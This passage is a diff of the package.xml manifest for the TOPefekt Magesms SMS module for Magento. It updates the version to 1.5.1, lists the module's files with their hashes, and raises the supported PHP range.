hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsHistory.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsMarketing.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsWizard.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="calendar.jpg" hash="ec1c2dde2879bca23fb232bdfb6459b1"/><file name="delete.gif" hash="b658193cc19b4be4776fbca433c86354"/><file name="edit.gif" hash="100198930f65efde449cce2d4fd3dd49"/><file name="i_accepted.gif" hash="befd5320058efee73744cb53f1ac58a6"/><file name="i_buffered.png" hash="df919a54ebb68a101899da77671a7ae4"/><file name="i_canceled.gif" hash="f54cd085dc4a709a590650df64c9307a"/><file name="i_deleted.png" hash="2cac2bf05b4f0bfc7f0b24ad3274c8aa"/><file name="i_donotdisturb.png" hash="cc15ea466d59c68c2278f9eac825fac9"/><file name="i_duplicate.png" hash="9a12c256c640bae544204d17933a8e0b"/><file name="i_error.gif" hash="45f02b921ce504353050a3921c6a6b70"/><file name="i_minus.gif" hash="16e4ff79084066203148d261b4d14712"/><file name="i_plus.gif" hash="1cc64296ccbf2bd9dfd61a0ce6a7f117"/><file name="i_scheduled.png" hash="b644f202e2a2cf0fccf073dfdc8befb1"/><file name="i_sent.png" hash="938d41c783cc770339e1febbe2fe538e"/><file name="i_simulation.png" hash="6b6f65f4c1ca5e9017c978274a186091"/><file name="licence_cz.pdf" hash="c61b5f052326b3cb74dd3346911c41bb"/><file name="licence_en.pdf" hash="5a96ef0dcb08cee786ef574c16608365"/><file name="logo.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="logocart.png" hash="cb095b552c60e3c23ac449a453981e6c"/><file name="magesms-logo.png" hash="5352d2cb3b95990a1eb237f0d48ed811"/><file name="next.gif" hash="d4a145a07fa436e51cbaa4a28c14b622"/><file name="prev.gif" hash="d1dab45da5f0690fcaac4ce62f6bd04d"/><file name="sms.png" hash="5473a773314938564ad2f8fb826445bd"/><file name="topefekt-logo.gif" hash="149c7fd9bb2a4f70637963b0036e5a07"/><file name="translation.gif" hash="d2f85c78ea940b1a62919e50175a4c4f"/></dir></target><target name="mageskin"><dir name="adminhtml"><dir name="base"><dir name="default"><dir name="css"><dir name="topefekt"><dir name="magesms"><dir name="img"><file name="i_canceled.gif" hash="f54cd085dc4a709a590650df64c9307a"/><file name="i_sent.png" hash="938d41c783cc770339e1febbe2fe538e"/></dir><file name="stylesheet.css" hash="95659c751e63d29efd26686c4c1f7dab"/></dir></dir></dir></dir></dir></dir></target><target name="mage"><dir name="js"><dir name="topefekt"><file name="functions.js" hash="cfdd6355a53814710db1dad2e69ff12e"/><file name="template.js" hash="26a2428302a7306fd49b940529147042"/></dir></dir></target></contents>
16
  <compatible/>
17
- <dependencies><required><php><min>5.2.0</min><max>6.0.0</max></php></required></dependencies>
18
  </package>
1
  <?xml version="1.0"?>
2
  <package>
3
  <name>TOPefekt_Magesms</name>
4
+ <version>1.5.1</version>
5
  <stability>stable</stability>
6
  <license uri="http://opensource.org/licenses/BSD-3-Clause">BSD</license>
7
  <channel>community</channel>
8
  <extends/>
9
  <summary>SMS notification &amp; SMS marketing module for Magento</summary>
10
  <description>Free SMS module for Magento with advanced features and user friendly design.</description>
11
+ <notes>2014-2017</notes>
12
  <authors><author><name>Frantisek Barancik</name><user>SIRAPY</user><email>barancik@sirapy.cz</email></author><author><name>Lubomir Kozak</name><user>TOPefekt</user><email>info@topefekt.com</email></author></authors>
13
+ <date>2017-09-05</date>
14
+ <time>13:34:34</time>
15
+ <contents><target name="magecommunity"><dir name="Topefekt"><dir name="Magesms"><dir name="Block"><dir name="Answers"><file name="Grid.php" hash="b4161fe0c9f84ae2842ad1c5b1fee67b"/><dir name="Renderer"><file name="Actions.php" hash="8978857641921533a7ef1a511d6e98cc"/><file name="Smsc.php" hash="dec1e2ffb867499edaf2660e83a1f763"/></dir></dir><file name="Answers.php" hash="d8e8f1ddc9dc2c200d48ba61fd45f258"/><file name="Cart.php" hash="2c0ac0bef513ef5efaea2cc7456c4aa8"/><dir name="Customer"><file name="Grid.php" hash="01cd30df42024487ddbb85dc805b29f2"/><file name="Marketing.php" hash="b93b4943ce65dd80a201219470ac71e4"/></dir><file name="Customer.php" hash="8817fa3634895fb9317fc7c979f326fa"/><file name="Magesms.php" hash="80c1ac3571e5305b9a18a332d50d3598"/><dir name="Marketing"><file name="Customer.php" hash="c664bce07fd6d820239951ccf149abc8"/><file name="Form.php" hash="921793ef2a4c1b6095c95a187c01a032"/><file name="Grid.php" hash="6866d29549f350f009971deda49f31f7"/><file name="Template.php" hash="1f48e5754feb003ff361824ca0e29ebb"/></dir><file name="Marketing.php" hash="298b9175edc892566097f199f95f0d95"/><file name="Profile.php" hash="87be5911ea730b61179eaa43274ed031"/><dir name="System"><dir name="Config"><file name="Apikeygenerator.php" hash="9b5f9256de21a985efbacbbc00032296"/></dir></dir><dir name="Template"><file name="Template.php" hash="4713fdc848c5f1d5ab771011df11ff40"/></dir><file name="Template.php" hash="1420e7b7615214a3cfe8ef87d86ebd1a"/><dir name="Validate"><file name="Customer.php" hash="177d87c65af1abd884f07d2d12a921c2"/><file name="Mobile.php" hash="9316198d18e9296cffcb3ee7be913d99"/><file name="Script.php" hash="fed9d1cc6f149f00c9fdda6178cfaa69"/></dir><file name="Validate.php" hash="9316198d18e9296cffcb3ee7be913d99"/><dir name="Wizard"><file name="Grid.php" hash="62ea044623fda139cdc23e8a768d1b60"/></dir><file name="Wizard.php" hash="ef10fbfc80385cb9e90e7a6bfbf555f4"/></dir><dir name="Controller"><file name="Action.php" hash="a12f3ca7279da57be21521e7e1f33b7b"/><dir name="Template"><file name="Action.php" hash="47a1638a2585689ad69648aba132c188"/></dir></dir><dir name="Helper"><dir name="Adminhtml"><file name="Data.php" hash="95ab77961fb5fc8913f15b77ea624204"/></dir><file name="Customer.php" hash="c1628e29c41a24821e50b76ee890eb52"/><file name="Data.php" hash="2038f6d2616f9288c8e33142d11d4901"/></dir><dir name="Model"><file name="Admins.php" hash="ced35da523fa261708ca76bf09744492"/><file name="Answers.php" hash="33fcc03e70064860f47b17291b2682ec"/><file name="Api.php" hash="8b1d97507e43868cf388055110e6034b"/><dir name="Birthdaymessages"><file name="Observer.php" hash="b21457d436d3c641823c1ef4424a3dd9"/><file name="Template.php" hash="262afa1a52e5b190ed7d524f54992117"/></dir><dir name="Country"><file name="Area.php" hash="4268548148d51c519328472ae744e0cd"/><file name="Lang.php" hash="1c47ceb19d913853c9ee7ab9b50f010a"/></dir><file name="Country.php" hash="6ea4a1f25f0c43c14392903328bbf794"/><file name="Exceptions.php" hash="062cfa6c80662f2bc7bbe53817f2916b"/><dir name="Hooks"><file name="Admins.php" hash="c42b32a696e6101f50dc67942d738e6d"/><file name="Customers.php" hash="cc275a7f7c738174b420bd3c3301f79d"/><file name="Templates.php" hash="bcf959ff2f2c84bc8f287e5d7dfd637a"/><file name="Unicode.php" hash="351a49d393871e186921a98376aaa5bb"/></dir><file name="Hooks.php" hash="6f18b9841882e11de6c29b42ec5d3f90"/><file name="Magesms.php" hash="e299fef5c1617dc2aba79861a170ee57"/><file name="Maps.php" hash="f1d81668d4afaa3c12b90e93a4dc6a8a"/><dir name="Marketing"><dir name="Filter"><file name="Birthday.php" hash="56d6e9638c2548a9dabd86548609d04d"/><file name="Birthdayall.php" hash="81b3dd750820746bf39f6fd094626683"/><file name="City.php" hash="851bf11fa4eba68f5afe90bc73061075"/><file name="Collection.php" hash="a59b5af9d4dbdb3a4f4d2a319991526a"/><file name="Country.php" hash="226ea48e858db867cad73ec5df430481"/><file name="Firstname.php" hash="d2fb9d1c18d65616e85b94a19d937303"/><file name="Gender.php" hash="08583ec548a718fd598db0c8382f8fea"/><file name="Group.php" hash="7a06a4ddb604866b3c91735ea8343848"/><file name="Lastname.php" hash="4ce733ed97662ae7e3b9bd7fd09a9b23"/><file name="Marketing.php" hash="20e7421a64d2d2fe91dd0623f943bb90"/><file name="Newsletter.php" hash="e32e2584c4a5b4e83774c90ca8e03d21"/><file name="Orderssum.php" hash="703f8b1d324f890df6f27d917b21cf07"/><file name="Product.php" hash="7259334c01c9011210d4258a835055e9"/><file name="Register.php" hash="537a9fe65de08207fe878527e5086a70"/><file name="Sale.php" hash="c2dc14fb0f1538fa12e41732b8507928"/><file name="Type.php" hash="49b3fefa77c399003a60edc716a19810"/><file name="Website.php" hash="998fa5822c12e7e10a9363c74922d25f"/></dir><file name="Filter.php" hash="f0608c6d7be5c646068ca30f58cd02b0"/></dir><dir name="Mysql4"><dir name="Admins"><file name="Collection.php" hash="c1ada270e5c640cc77beca20a90c06c1"/></dir><file name="Admins.php" hash="c1efc07554a47ddd61add948f8d7184d"/><dir name="Answers"><file name="Collection.php" hash="e0d1dfb4666cd442105b786cd8e1938b"/></dir><file name="Answers.php" hash="9b116c0acd6598b22fda9a3f7bfd0e1f"/><dir name="Birthdaymessages"><dir name="Template"><file name="Collection.php" hash="12836f9090ab2843733523d17457ad88"/></dir><file name="Template.php" hash="d87d9ae8a337573ededec359a0e40a0f"/></dir><file name="Collection.php" hash="0713d799c11bcc14437ca3924d0aae0f"/><dir name="Country"><dir name="Area"><file name="Collection.php" hash="57076e9ef2eaee34ede11fd2b8c079ea"/></dir><file name="Area.php" hash="cb14e562273148090fcafe17a5764dcf"/><file name="Collection.php" hash="9d1c5aa0e9d956d98e45706dd24dc0f0"/><dir name="Lang"><file name="Collection.php" hash="5784492b259d0636c5c37f3f945873cf"/></dir><file name="Lang.php" hash="45c61334ccc799908468603a1601f75f"/></dir><file name="Country.php" hash="b50b98ef7d7787168b38dea4bc7e69bb"/><dir name="Exceptions"><file name="Collection.php" hash="0f27011bb167d3686149edcea2cf9af0"/></dir><file name="Exceptions.php" hash="087363570c7e19e98343508fde136b71"/><dir name="Hooks"><dir name="Admins"><file name="Collection.php" hash="08c59f372ae4d724d1451836df655deb"/></dir><file name="Admins.php" hash="0b97679a105c98c53fb27e6f35cc49da"/><file name="Collection.php" hash="a666646a5aac0d8a7366c054180d1d0f"/><dir name="Customers"><file name="Collection.php" hash="9f85b8e63521abcc575d717eaca6f7b0"/></dir><file name="Customers.php" hash="446451f0e038bc5b25ec0d3032a608a9"/><dir name="Templates"><file name="Collection.php" hash="10d674db501bdd93bfc11e0411be53b2"/></dir><file name="Templates.php" hash="b9d88cc611aa7c5ea369d9b4056a3858"/><dir name="Unicode"><file name="Collection.php" hash="e30a9e81400f25829b89d8fa4927e4e7"/></dir><file name="Unicode.php" hash="930b9f23e7b0674cef75898bebd8d4f5"/></dir><file name="Hooks.php" hash="db0d3898325974475d39f0dd786a0c7d"/><dir name="Maps"><file name="Collection.php" hash="2b8609291dc25d2445b1c168024c1783"/></dir><file name="Maps.php" hash="21e7e04096b879db02971223dbf11a1a"/><dir name="Marketing"><dir name="Filter"><file name="Collection.php" hash="ee5bfddfe067a317c94b62eea4e59aeb"/></dir><file name="Filter.php" hash="42342671cb9bcbca71165ffffa7d309d"/></dir><dir name="Optout"><dir name="Order"><file name="Collection.php" hash="7b593f45e990a0325bec3cf326b85c5c"/></dir><file name="Order.php" hash="5b2e04f86251001203fb858f451672b4"/></dir><dir name="Ownnumbersender"><file name="Collection.php" hash="0f77ebc089da24e306dc2616178fab35"/></dir><file name="Ownnumbersender.php" hash="0b8963a836de22ff2c54ec8a6f0819bd"/><dir name="Routes"><dir name="Alternative"><file name="Collection.php" hash="dd8908e3c72bef9a4d54ab4d04119fc9"/></dir><file name="Alternative.php" hash="0b07c80a9b35a1dc6f16e310614ddbda"/><file name="Collection.php" hash="9a9f26422877c0ff82f5bc3a6865ed1f"/></dir><file name="Routes.php" hash="f500ad3e8d96b8742a194015acdd4c58"/><dir name="Smshistory"><file name="Collection.php" hash="76f838ee4e14af4789e494badf46ad84"/></dir><file name="Smshistory.php" hash="15edfec649fa894ec310e3e37d97f694"/><dir name="Smsuser"><file name="Collection.php" hash="6d75ce65ea329b62ec4c70bb5af1ce08"/></dir><file name="Smsuser.php" hash="b9913d6c444f646623d6e282f35e8a08"/><dir name="Template"><file name="Collection.php" hash="a9e237b2e23e64e7226a95d3e6e9a7dc"/></dir><file name="Template.php" hash="20a0aad89f43fa6716d96ece9f243000"/><dir name="Textsender"><file name="Collection.php" hash="1574273dc207231460977dce7af007a9"/></dir><file name="Textsender.php" hash="242e7ac5f28b7e7b8521e201fe7cf806"/><dir name="Variables"><file name="Collection.php" hash="0c249b390280ba16db97d3acd320fedb"/></dir><file name="Variables.php" hash="e364920ad4d1a69f33ec037184f27de7"/></dir><file name="Observer.php" hash="86c96c1a7cc727ef1cd6fcd669d17c1a"/><dir name="Optout"><file name="Order.php" hash="a68d9c4ecc26abd7b142d6d27d672c70"/></dir><dir name="Otp"><file name="Observer.php" hash="65bdded51c48a97e1fdf21eca631d5fe"/></dir><dir name="Overide"><dir name="Cataloginventory"><file name="Stock.php" hash="76e53307192e54dc08b0983288acdda3"/></dir></dir><file name="Ownnumbersender.php" hash="c209b3a3756491c3d9f30c1a9055361b"/><dir name="Routes"><file name="Alternative.php" hash="f16764624ccd206cfcc59ea3d199709a"/></dir><file name="Routes.php" hash="1b590f328f0e10667df1df7ebdb125a3"/><file name="Sms.php" hash="9f1aaf27d019b81cfd0dd00b97a74970"/><file name="Smshistory.php" hash="b96ef0d1f609d28159c5a03777c953ce"/><file name="Smsprofile.php" hash="4ff023aa338c1eab827448e2c0712852"/><file name="Smsuser.php" hash="5d20fb8d94a7a8132b49c52e49d7b59a"/><dir name="System"><dir name="Config"><file name="Connector.php" hash="e32a8a0ce7e6e54d97339912d556a918"/><file name="Customergroups.php" hash="6fe24aebeb8fcfe5f76a5c8aa214259e"/><file name="Lang.php" hash="c5b7d2bc3a80a67dc15faf3f6c25a5d9"/><file name="OtpType.php" hash="ee4ca7a515ee3a79654b2e41e505e5e6"/><file name="SmsvalidCheckoutType.php" hash="2cd20c062a1a260dee1d21004fb3e1a9"/><file name="SmsvalidCustomerType.php" hash="ae70a95546fb447a35d431b2f463ccf1"/><file name="SmsvalidOrderType.php" hash="780c498c45d0496df0946cf462c53326"/></dir></dir><file name="Template.php" hash="8590ec1c798028e5025bf866629bf719"/><file name="Textsender.php" hash="589c0a2087ba27d6e5310796b60e6a48"/><file name="Variables.php" hash="12844fb6fc0c4258cdcbb8d6b5343fc9"/></dir><file name="api_test1.php" hash="8a71c6b1d085ee65b3bde60c20379c9d"/><file name="api_test2.php" hash="6c1d19f8fc1e8a71a1f3129541939262"/><file name="api_test3.php" hash="9c162033d327a93bc974aa20804c161d"/><dir name="controllers"><file name="AccountController.php" hash="8a0d357bf138fde6dac8bdaee10a74a0"/><dir name="Adminhtml"><dir name="Magesms"><file name="AboutController.php" hash="3ad68368e36e285602ad7d46f9b6b352"/><file name="AdminsmsController.php" hash="d32f9d0eb3afdb50a656482fc373bccb"/><file name="AnswersController.php" hash="ca05a9506f32a90ff359f01f90ff7031"/><file name="CustomersmsController.php" hash="6d2d01894301c47ad19ad15f246ed4fa"/><file name="HistoryController.php" hash="4d9b2dd666e026a431bfab8616f06fa1"/><file name="MarketingController.php" hash="564525e6bed4bef13aa1464c2ddb5877"/><file name="OptoutController.php" hash="d8b23bd54ec7db61a1dd62a47eb4a90d"/><file name="ProfileController.php" hash="b0c3737fb4bc9247637b8089fa41d91a"/><file name="PurchasecreditController.php" hash="869c5581903579d2942970bd23bda402"/><file name="SendsmsController.php" hash="7991f930efaadbf7d4cdcef311db0dd5"/><file name="StatisticsController.php" hash="1536300fad73ddb64d9f4ed0501ac1a7"/><file name="WizardController.php" hash="e6ce6e1e38f30765ce9856411d9c1930"/></dir></dir><file name="ApiController.php" hash="73336d3799e625f8d00c18580b88478f"/><file name="CartController.php" hash="45c47abb7ba1da922a0ea1a74bea61a5"/><file name="DeliveryController.php" hash="86a836886a36e6afe41bc9c3e97fb5ed"/><file name="IndexController.php" hash="ebc25dd160c958883f7ed4f0f4c9bfad"/><file name="MarketingController.php" hash="463bc960d49aa3488f7bb6d08f9f8890"/><dir name="Validate"><file name="IndexController.php" hash="f6eac6213610c0c6ab79ae3193399b70"/></dir><file name="ValidateController.php" hash="4c3358590123b1acd9532cb8cb6f406c"/></dir><dir name="data"><dir name="magesms_setup"><file name="data-install-1.0.0.php" hash="95c3addf503ba9c7a1039bd8694707fc"/><file name="data-upgrade-1.0.1-1.0.2.php" hash="c3a7d79bad8ba1d3ccc574fab0e61ba9"/><file name="data-upgrade-1.0.3-1.0.4.php" hash="34ea28910cec9134629b34cf1c13cc48"/><file name="data-upgrade-1.1.0-1.1.1.php" hash="52af14629fdfd0510978ade963fc6e3c"/><file name="data-upgrade-1.1.1-1.1.2.php" hash="36256c476fa3d6d4446adbc2f657fe24"/><file name="data-upgrade-1.2.0-1.2.1.php" hash="2793e299f198d54691031dd8b5ac6a87"/><file name="data-upgrade-1.3.1-1.3.2.php" hash="7ee3c4337d2a339b9784e5662b01e290"/><file name="data-upgrade-1.3.6-1.4.0.php" hash="39bc258a711d5ab8cda3f008b697817f"/><file name="data-upgrade-1.4.0-1.4.1.php" hash="e6804f33ac9a05f4898869df13dcdc84"/><file name="data-upgrade-1.4.1-1.4.2.php" hash="49e6d4a5feb4df4d6fa7e11138216d57"/><file name="data-upgrade-1.4.2-1.4.3.php" hash="40f403c861b43c78365b48e08a5646de"/><file name="data-upgrade-1.4.4-1.4.5.php" hash="944f04c3e62c62df037cf68b14ad3922"/><file name="data-upgrade-1.4.5-1.4.6.php" hash="ca0b3fd51890ed1b1a2451db278ec516"/><file name="data-upgrade-1.4.7-1.4.8.php" hash="ccdebf31afb7fef507fbc9df4230bab3"/><file name="data-upgrade-1.4.8-1.5.0.php" hash="60ff3df33bd45f913743ba8e1b7c2245"/><file name="data-upgrade-1.5.0-1.5.1.php" hash="721075a719422223bb09751ad62833c0"/></dir></dir><dir name="etc"><file name="adminhtml.xml" hash="27ce7572f98a6118fae41611442a5890"/><file name="config.xml" hash="74e1ef8553397d36e3a6ace4fa0bfb11"/><file name="system.xml" hash="d837dd71c0409895007515c766d65d16"/></dir><dir name="sql"><dir name="magesms_setup"><file name="mysql4-install-0.9.0.php" hash="b3d8975e98cb1cfe12194d7a18bbfc2f"/><file name="mysql4-install-1.0.0.php" hash="893524c893aff9e37dc19e320803b9d9"/><file name="mysql4-upgrade-0.9.11-0.9.12.php" hash="765533b9d6f9fa987949c0a5f73ff37d"/><file name="mysql4-upgrade-0.9.12-0.9.13.php" hash="0d3ea4875bd51593c8113805402e58fd"/><file name="mysql4-upgrade-1.0.1-1.0.2.php" hash="bee320d69dbffaabd111635e0310e4fb"/><file name="mysql4-upgrade-1.1.3-1.1.4.php" hash="9d1a6f2d0e9b7e4d2d84293dbea53683"/><file name="mysql4-upgrade-1.1.5-1.2.0.php" hash="1c1697a6910273445e80ae58d3185802"/><file name="mysql4-upgrade-1.3.3-1.3.4.php" hash="7513583a336fa4a7491798cf73623dfe"/><file name="mysql4-upgrade-1.3.6-1.4.0.php" hash="7b23be2b69163fdce825bb096012c267"/><file name="mysql4-upgrade-1.4.0-1.4.1.php" hash="39e06d9a416b48ba4fed88e12c62a4dd"/><file name="mysql4-upgrade-1.4.1-1.4.2.php" hash="aad1e57603eebdd07fc4256851f8cecd"/><file name="mysql4-upgrade-1.4.2-1.4.3.php" hash="90a8c0ba623620228ff35992167188eb"/><file name="mysql4-upgrade-1.4.4-1.4.5.php" hash="63ed9d9c1e568f661056ceadc03ceb9f"/><file name="mysql4-upgrade-1.4.5-1.4.6.php" hash="f945851256c7913cacd4b97c529b3ed1"/><file name="mysql4-upgrade-1.4.7-1.4.8.php" hash="efae5cd0b1ba0762641f6887781c73ff"/><file name="mysql4-upgrade-1.4.8-1.5.0.php" hash="c1a6fd74e5d576727d9c1dbe5c3a215a"/><file name="mysql4-upgrade-1.5.0-1.5.1.php" hash="8b2f5ae0f9ce334998b10aa93f5c2904"/></dir></dir></dir></dir></target><target name="magedesign"><dir name="adminhtml"><dir name="default"><dir name="default"><dir name="template"><dir name="topefekt"><dir name="magesms"><file name="about.phtml" hash="e7d29a30ceb20b0b16407dfddbe70803"/><file name="adminsms.phtml" hash="5ff9bfdacad686bc40f657bc2b7a6098"/><dir name="birthdaymessages"><file name="form.phtml" hash="60ec9129c2b69f591206181e45130bc7"/></dir><file name="customersms.phtml" hash="26f020c684d9ba6841b7c0dc98ea134f"/><file name="history.phtml" hash="b7e7ef4ebec219e3cbe9ec8d6e75e01a"/><dir name="marketing"><file name="customer.phtml" hash="1292a2075a7cafc35828b85a5a1d73d9"/><file name="form.phtml" hash="37a354655ae727480d779c6775d227f2"/></dir><file name="marketing.phtml" hash="fa7e6992f88380e7c9e9a4632e0070fd"/><file name="optout.phtml" hash="435ebd01535920e65a1ec23e8b8987e4"/><file name="profile.phtml" hash="2e73b0c55b2c955b3ce8f0d3955cc36e"/><file name="purchasecredit.phtml" hash="0ec35354e68a85b0fff078f9a8b14d96"/><file name="sendsms.phtml" hash="3a2f21302e2b246d149998bfdfea95d9"/><file name="statistics.phtml" hash="dd708338a0a5ad36bb10141ad394ea22"/><dir name="template"><file name="form.phtml" hash="e6a006574345ef9e85e28251310d96ec"/></dir><file name="wizard-alternative.phtml" hash="53128ea65c7eb6ea80faac040c0d63f2"/><file name="wizard-edit.phtml" hash="e247901a92b290fcb85128b4a08ee91d"/><file name="wizard-list.phtml" hash="cee281d28e0b61f93c0acb90f064c922"/><file name="wizard-sender.phtml" hash="3ff2f15bf3e6db24f2e771f7aa2a500b"/><file name="wizard.phtml" hash="d0a70bb920e76604959c48de8fe57c84"/></dir></dir></dir></dir></dir></dir><dir name="frontend"><dir name="base"><dir name="default"><dir name="template"><dir name="topefekt"><dir name="magesms"><file name="cart.phtml" hash="b5c482d8114325b9bce25294b5ce7aa5"/><file name="marketing-dashboard.phtml" hash="b7c21fce88ca27326f068fbdab0f8752"/><dir name="validate"><file name="checkout-button.phtml" hash="1b0872ad198954a3eda69ce07b2bc59d"/><file name="customer-ajax.phtml" hash="3bb541fb779045ce8d927f27af99d134"/><file name="mobile.phtml" hash="1f5c8e0f0580336f235aa93a57c706fd"/></dir></dir></dir></dir><dir name="layout"><file name="magesms.xml" hash="498e3ef7bd7f7c4fa0ac6801e49d6860"/></dir></dir></dir></dir></target><target name="mageetc"><dir name="modules"><file name="Topefekt_Magesms.xml" hash="1c32620589197c509e3833e5b413e091"/></dir></target><target name="magelocale"><dir><dir name="ar_DZ"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_EG"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_KW"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_MA"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_SA"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="ar_TN"><file name="Topefekt_Magesms.csv" hash="d3fb21eb0a511a4e4d3452a25e563750"/></dir><dir name="cs_CZ"><file name="Topefekt_Magesms.csv" hash="db86a44791041bfa4f65b15da3f92506"/></dir><dir name="de_DE"><file name="Topefekt_Magesms.csv" hash="e0b5c2d28f992d21a81533fcb7798218"/></dir><dir name="el_GR"><file name="Topefekt_Magesms.csv" hash="def3470a06e89604d000479d3fbc5649"/></dir><dir name="en_US"><file name="Topefekt_Magesms.csv" hash="de6f05c8c7e1af5e37e475357d3f3e5c"/></dir><dir name="es_ES"><file name="Topefekt_Magesms.csv" hash="e88931ea619b708625b96bfa2bdab0a1"/></dir><dir name="fr_FR"><file name="Topefekt_Magesms.csv" hash="4f01cbb169ce54e5069632a1b22a2a77"/></dir><dir name="it_IT"><file name="Topefekt_Magesms.csv" hash="ea3dce757fa19d95437b5f52a9d5b833"/></dir><dir name="pl_PL"><file name="Topefekt_Magesms.csv" hash="428899edeec08c9dc5496d63ddb6f485"/></dir><dir name="pt_PT"><file name="Topefekt_Magesms.csv" hash="51e0cf0d0ad86ca04c52483431909c73"/></dir><dir name="ru_RU"><file name="Topefekt_Magesms.csv" hash="203254e79750c318fd1a962b53ba5f99"/></dir><dir name="sk_SK"><file name="Topefekt_Magesms.csv" hash="c0e27081e05f7496fc54cb28f52baa36"/></dir><dir name="sr_RS"><file name="Topefekt_Magesms.csv" hash="baacb65296f8f765aaf1ee7060103979"/></dir><dir name="sv_SE"><file name="Topefekt_Magesms.csv" hash="de93f7f6d786b9b747248cea68a37b30"/></dir><dir name="tr_TR"><file name="Topefekt_Magesms.csv" hash="49a293f3d27295172c6eed390a812d08"/></dir></dir></target><target name="magemedia"><dir name="magesms"><file name="About.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminCatalog.gif" hash="2500d6277ec65b73cec8e858e8f3e5ef"/><file name="AdminCustomers.gif" hash="2575dfefce12bc9451e4dfa1e0972a1e"/><file name="AdminEmployees.gif" hash="cdb742ba271aae8e0f5129e9422d8480"/><file name="AdminOrders.gif" hash="b0b296f24674d37c3749a4c68e014173"/><file name="AdminSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminSmsProfile.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="AdminTools.gif" hash="a3d566311d5cdd11470e60a30c4f1a1d"/><file name="CustomerSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="Empty.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="PayPal123.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SendSms.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsAnswers.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsCharging.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsHistory.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsMarketing.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="SmsWizard.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="calendar.jpg" hash="ec1c2dde2879bca23fb232bdfb6459b1"/><file name="delete.gif" hash="b658193cc19b4be4776fbca433c86354"/><file name="edit.gif" hash="100198930f65efde449cce2d4fd3dd49"/><file name="i_accepted.gif" hash="befd5320058efee73744cb53f1ac58a6"/><file name="i_buffered.png" hash="df919a54ebb68a101899da77671a7ae4"/><file name="i_canceled.gif" hash="f54cd085dc4a709a590650df64c9307a"/><file name="i_deleted.png" hash="2cac2bf05b4f0bfc7f0b24ad3274c8aa"/><file name="i_donotdisturb.png" hash="cc15ea466d59c68c2278f9eac825fac9"/><file name="i_duplicate.png" hash="9a12c256c640bae544204d17933a8e0b"/><file name="i_error.gif" hash="45f02b921ce504353050a3921c6a6b70"/><file name="i_minus.gif" hash="16e4ff79084066203148d261b4d14712"/><file name="i_plus.gif" hash="1cc64296ccbf2bd9dfd61a0ce6a7f117"/><file name="i_scheduled.png" hash="b644f202e2a2cf0fccf073dfdc8befb1"/><file name="i_sent.png" hash="938d41c783cc770339e1febbe2fe538e"/><file name="i_simulation.png" hash="6b6f65f4c1ca5e9017c978274a186091"/><file name="licence_cz.pdf" hash="c61b5f052326b3cb74dd3346911c41bb"/><file name="licence_en.pdf" hash="5a96ef0dcb08cee786ef574c16608365"/><file name="logo.gif" hash="a5e975f6b52cd9dbf20fed18216d1536"/><file name="logocart.png" hash="cb095b552c60e3c23ac449a453981e6c"/><file name="magesms-logo.png" hash="5352d2cb3b95990a1eb237f0d48ed811"/><file name="next.gif" hash="d4a145a07fa436e51cbaa4a28c14b622"/><file name="prev.gif" hash="d1dab45da5f0690fcaac4ce62f6bd04d"/><file name="sms.png" hash="5473a773314938564ad2f8fb826445bd"/><file name="topefekt-logo.gif" hash="149c7fd9bb2a4f70637963b0036e5a07"/><file name="translation.gif" hash="d2f85c78ea940b1a62919e50175a4c4f"/></dir></target><target name="mageskin"><dir name="adminhtml"><dir name="base"><dir name="default"><dir name="css"><dir name="topefekt"><dir name="magesms"><dir name="img"><file name="i_canceled.gif" hash="f54cd085dc4a709a590650df64c9307a"/><file name="i_sent.png" hash="938d41c783cc770339e1febbe2fe538e"/></dir><file name="stylesheet.css" hash="95659c751e63d29efd26686c4c1f7dab"/></dir></dir></dir></dir></dir></dir></target><target name="mage"><dir name="js"><dir name="topefekt"><file name="functions.js" hash="cfdd6355a53814710db1dad2e69ff12e"/><file name="smsvalid.js" hash="2655d18215225dd395979f6ee7b2e38c"/><file name="template.js" hash="26a2428302a7306fd49b940529147042"/></dir></dir></target></contents>
16
  <compatible/>
17
+ <dependencies><required><php><min>5.2.0</min><max>8.0.0</max></php></required></dependencies>
18
  </package>